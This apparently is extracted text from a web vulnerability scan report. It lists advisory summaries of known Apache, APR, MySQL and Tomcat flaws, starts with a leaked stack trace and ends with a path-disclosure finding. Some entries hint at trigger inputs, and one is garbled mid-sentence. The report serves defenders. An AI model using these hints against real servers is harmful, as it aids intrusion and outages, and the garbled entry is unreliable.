org.apache.struts.action.ActionServlet.process(ActionServlet.java:1164) org.apache.struts.action.ActionServlet.doGet(ActionServlet.java:397) javax.servlet.http.HttpServlet.service(HttpServlet.java:697) javax.servlet.http.HttpServlet.service(HttpServlet.java:810) org.jboss.web.tomcat.filters.ReplyHeaderFilter.doFilter(ReplyHeaderFilter.java:81)</pre></p><p><b>note</b> <u>The full stack trace of the root cause is available in the Apache Tomcat/5.5.9 logs.</u></p><HR size="1" noshade="noshade"><h3>Apache Tomcat/5.5.9</h3></body></html>
Apache mod_cache and mod_dav Request Handling Denial of Service Vulnerability
The mod_cache and mod_dav modules in the Apache HTTP Server allow remote attackers to cause a denial of service (process crash) via a request that lacks a path.
Apache APR-util apr_brigade_split_line() Denial of Service Vulnerability
Memory leak in the apr_brigade_split_line function in buckets/apr_brigade.c in the Apache Portable Runtime Utility library (aka APR-util), as used in the mod_reqtimeout module in the Apache HTTP Server and other software, allows remote attackers to cause a denial of service (memory consumption) via unspecified vectors related to the destruction of an APR bucket.
Apache APR apr_fnmatch() Denial of Service Vulnerability
Stack consumption vulnerability in the fnmatch implementation in apr_fnmatch.c in the Apache Portable Runtime (APR) library before 1.4.3 and the Apache HTTP Server before 2.2.18, allows context-dependent attackers to cause a denial of service (CPU and memory consumption) via *? sequences in the first argument, as demonstrated by attacks against mod_autoindex in httpd.
MySQL 'COM_FIELD_LIST' Command Packet Security Bypass Vulnerability
Directory traversal vulnerability in MySQL allows remote authenticated users to bypass intended table grants to read field definitions of arbitrary tables, and on 5.1 to read or delete content of arbitrary tables, via a .. (dot dot) in a table name.
MySQL Malformed Packet Handling Remote Denial of Service Vulnerability
The my_net_skip_rest function in sql/net_serv.cc in MySQL allows remote attackers to cause a denial of service (CPU and bandwidth consumption) by sending a large number of packets that exceed the maximum length.
mysqld in MySQL properly handle errors during execution of certain SELECT statements with subqueries, and does not (2) preserve certain null_value flags during execution of statements that use the GeomFromWKB function, which allows remote authenticated users to cause a denial of service (daemon crash) via a crafted statement.
MySQL 'ALTER DATABASE' Remote Denial Of Service Vulnerability
MySQL before 5.1.48 allows remote authenticated users with alter database privileges to cause a denial of service (server crash and database loss) via an ALTER DATABASE command with a #mysql50# string followed by a . (dot), .. (dot dot), ../ (dot dot slash) or similar sequence, and an UPGRADE DATA DIRECTORY NAME command, which causes MySQL to move certain directories to the server data directory.
MySQL Prior to 5.1.52 Multiple Denial Of Service Vulnerabilities
MySQL is prone to multiple denial-of-service vulnerabilities.
An attacker can exploit these issues to crash the database, denying access to legitimate users.
These issues affect versions prior to MySQL 5.1.52.
MySQL 'sql/sql_table.cc' CREATE TABLE Security Bypass Vulnerability
MySQL is prone to a security-bypass vulnerability.
An attacker can exploit this issue to bypass certain security restrictions and gain access to table files created by other users.
MySQL Prior to 5.1.50 Privilege Escalation Vulnerability
MySQL is prone to a remote privilege-escalation vulnerability.
An attacker can exploit this issue to run arbitrary SQL statements with 'SUPER' privileges on the slave database system. This will allow the attacker to compromise the affected database system.
This issue affects versions prior to MySQL 5.1.50.
MySQL Command Line Client HTML Special Characters HTML Injection Vulnerability
MySQL is prone to an HTML-injection vulnerability because the application's command-line client fails to properly sanitize user-supplied input before using it in dynamically generated content.
Attacker-supplied HTML and script code would run in the context of the affected browser, potentially allowing the attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user. Other attacks are also possible.
MySQL Prior to 5.1.51 Multiple Denial Of Service Vulnerabilities
MySQL is prone to multiple denial-of-service vulnerabilities.
An attacker can exploit these issues to crash the database, denying access to legitimate users.
These issues affect versions prior to MySQL 5.1.51.
MySQL Prior to 5.1.49 'DDL' Statements Denial Of Service Vulnerability
MySQL is prone to a denial-of-service vulnerability.
An attacker can exploit this issue to crash the database, denying access to legitimate users.
Versions prior to MySQL 5.1.49 are vulnerable.
MySQL Prior to 5.1.49 'JOIN' Statement Denial Of Service Vulnerability
MySQL is prone to a denial-of-service vulnerability.
An attacker can exploit this issue to crash the database, denying access to legitimate users.
This issue affects versions prior to MySQL 5.1.49.
MySQL Prior to 5.1.49 'WITH ROLLUP' Denial Of Service Vulnerability
MySQL is prone to a denial-of-service vulnerability.
An attacker can exploit this issue to crash the database, denying access to legitimate users.
This issue affects versions prior to MySQL 5.1.49.
MySQL Prior to 5.1.49 Malformed 'BINLOG' Arguments Denial Of Service Vulnerability
MySQL is prone to a denial-of-service vulnerability.
An attacker can exploit this issue to crash the database, denying access to legitimate users.
Versions prior to MySQL 5.1.49 are vulnerable.
MySQL 'TEMPORARY InnoDB' Tables Denial Of Service Vulnerability
MySQL is prone to a denial-of-service vulnerability.
An attacker can exploit these issues to crash the database, denying access to legitimate users.
This issues affect versions prior to MySQL 5.1.49.
MySQL 'HANDLER' interface Denial Of Service Vulnerability
MySQL is prone to a denial-of-service vulnerability.
An attacker can exploit this issue to crash the database, denying access to legitimate users.
This issue affects versions prior to MySQL 5.1.49.
MySQL is prone to a denial-of-service vulnerability.
An attacker can exploit this issue to crash the database, denying access to legitimate users.
This issue affects versions prior to MySQL 5.1.49.
MySQL 'LOAD DATA INFILE' Denial Of Service Vulnerability
MySQL is prone to a denial-of-service vulnerability.
An attacker can exploit this issue to crash the database, denying access to legitimate users.
This issue affects versions prior to MySQL 5.1.49.
MySQL DROP TABLE MyISAM Symbolic Link Local Security Bypass Vulnerability
Oracle MySQL is prone to a security-bypass vulnerability.
A local attacker can exploit this issue to delete data associated with arbitrary MyISAM tables. This may result in denial-of-service conditions.
Versions prior to MySQL 5.1.46 are vulnerable.
MySQL with yaSSL SSL Certificate Handling Remote Stack Buffer Overflow Vulnerability
MySQL compiled with yaSSL is prone to a remote stack-based buffer-overflow vulnerability because the application fails to perform adequate boundary checks on user-supplied data.
Attackers can exploit this issue to execute arbitrary code within the context of the affected application. Failed exploit attempts will result in a denial-of-service condition.
MySQL 5.5.0-ms2 is vulnerable when compiled with yaSSL; other versions may also be affected.
MySQL Server InnoDB CONVERT_SEARCH_MODE_TO_INNOBASE Function Denial Of Service Vulnerability
MySQL is prone to a remote denial-of-service vulnerability because the database server fails to properly handle unexpected input.
Exploiting this issue allows remote attackers to crash affected database servers, denying service to legitimate users. Attackers must be able to execute arbitrary SQL statements on affected servers, which requires valid credentials to connect to affected servers.
This issue affects MySQL 5.1.23 and prior versions.
MySQL Rename Table Function Access Validation Vulnerability
MySQL is prone to an access-validation vulnerability because it fails to perform adequate access control.
Attackers can exploit this issue to rename arbitrary tables. This could result in denial-of-service conditions and may aid in other attacks.
Versions prior to MySQL 4.1.23, 5.0.42, and 5.1.18 are vulnerable.
MySQL is prone to a vulnerability that allows users with revoked privileges to a particular table to access these tables without permission.
Exploiting this issue allows attackers to access data when access privileges have been revoked. The specific impact of this issue depends on the data that the attacker may retrieve.
MySQL Mysql_real_escape Function SQL Injection Vulnerability
MySQL is prone to an SQL-injection vulnerability because it fails to properly sanitize user-supplied input before using it in an SQL query.
A successful exploit could allow an attacker to compromise an application using a vulnerable database or to compromise the database itself.
MySQL versions prior to 5.0.22-1-0.1 and prior to 4.1.20 are vulnerable. Other versions may also be affected.
MySQL Remote Information Disclosure and Buffer Overflow Vulnerabilities
MySQL is prone to multiple remote vulnerabilities:
1. A buffer-overflow vulnerability occurs because the software fails to perform sufficient boundary checks of user-supplied data before copying it to an insufficiently sized memory buffer. This issue allows remote attackers to execute arbitrary machine code in the context of affected database servers. Failed exploit attempts will likely crash the server, denying further service to legitimate users.
2. Two information-disclosure vulnerabilities occur because the software fails to sufficiently sanitize and check boundaries of user-supplied data. These issues allow remote users to gain access to potentially sensitive information that may aid in further attacks.
MySQL Server Str_To_Date Remote Denial Of Service Vulnerability
MySQL is susceptible to a remote denial-of-service vulnerability. This issue is due to the database server's failure to properly handle unexpected input.
This issue allows remote attackers to crash affected database servers, denying service to legitimate users. Attackers must be able to execute arbitrary SQL statements on affected servers, which requires valid credentials to connect to affected servers.
Attackers may exploit this issue in conjunction with latent SQL-injection vulnerabilities in other applications.
Versions of MySQL prior to 4.1.18, 5.0.19, and 5.1.6 are vulnerable to this issue.
MySQL Server Date_Format Denial Of Service Vulnerability
MySQL is prone to a remote denial-of-service vulnerability because the database server fails to properly handle unexpected input.
This issue allows remote attackers to crash affected database servers, denying service to legitimate users. Attackers must be able to execute arbitrary SQL statements on affected servers, which requires valid credentials to connect to affected servers.
Attackers may exploit this issue in conjunction with latent SQL-injection vulnerabilities in other applications.
Versions prior to MySQL 4.1.18, 5.0.19, and 5.1.6 are vulnerable.
MySQL INFORMATION_SCHEMA Remote Denial Of Service Vulnerability
MySQL is prone to a remote denial-of-service vulnerability because it fails to handle certain specially crafted queries.
An attacker can exploit this issue to crash the application, denying access to legitimate users.
NOTE: An attacker must be able to execute arbitrary SELECT statements against the database to exploit this issue. This may be done through legitimate means or by exploiting other latent SQL-injection vulnerabilities.
This issue affects versions prior to MySQL 5.0.32 and 5.1.14.
MySQL Server Privilege Escalation And Denial Of Service Vulnerabilities
MySQL is prone to multiple vulnerabilities, including privilege-escalation and denial-of-service issues.
Exploiting the privilege-escalation vulnerability may allow attackers to perform certain actions with elevated privileges. Successful exploits of the denial-of-service issue will cause the database server to crash, denying service to legitimate users.
These issues affect versions prior to MySQL 5.0.52, MySQL 5.1.23, and MySQL 6.0.4.
Netsparker identified an internal path in the document.
Impact
There is no direct impact however this information can help an attacker either to identify other vulnerabilities or during the exploitation of other identified vulnerabilities.
Remedy
First ensure that this is not a false positive. Due to the nature of the issue. Netsparker could not confirm that this file path was actually the real file path of the target web server.
Error messages should be disabled.
Remove this kind of sensitive data from the output.
Apache Tomcat Directory Listing Information Disclosure Vulnerability
Apache Tomcat Simultaneous Directory Listing Denial Of Service Vulnerability
Apache Tomcat SSL Anonymous Cipher Configuration Information Disclosure Vulnerability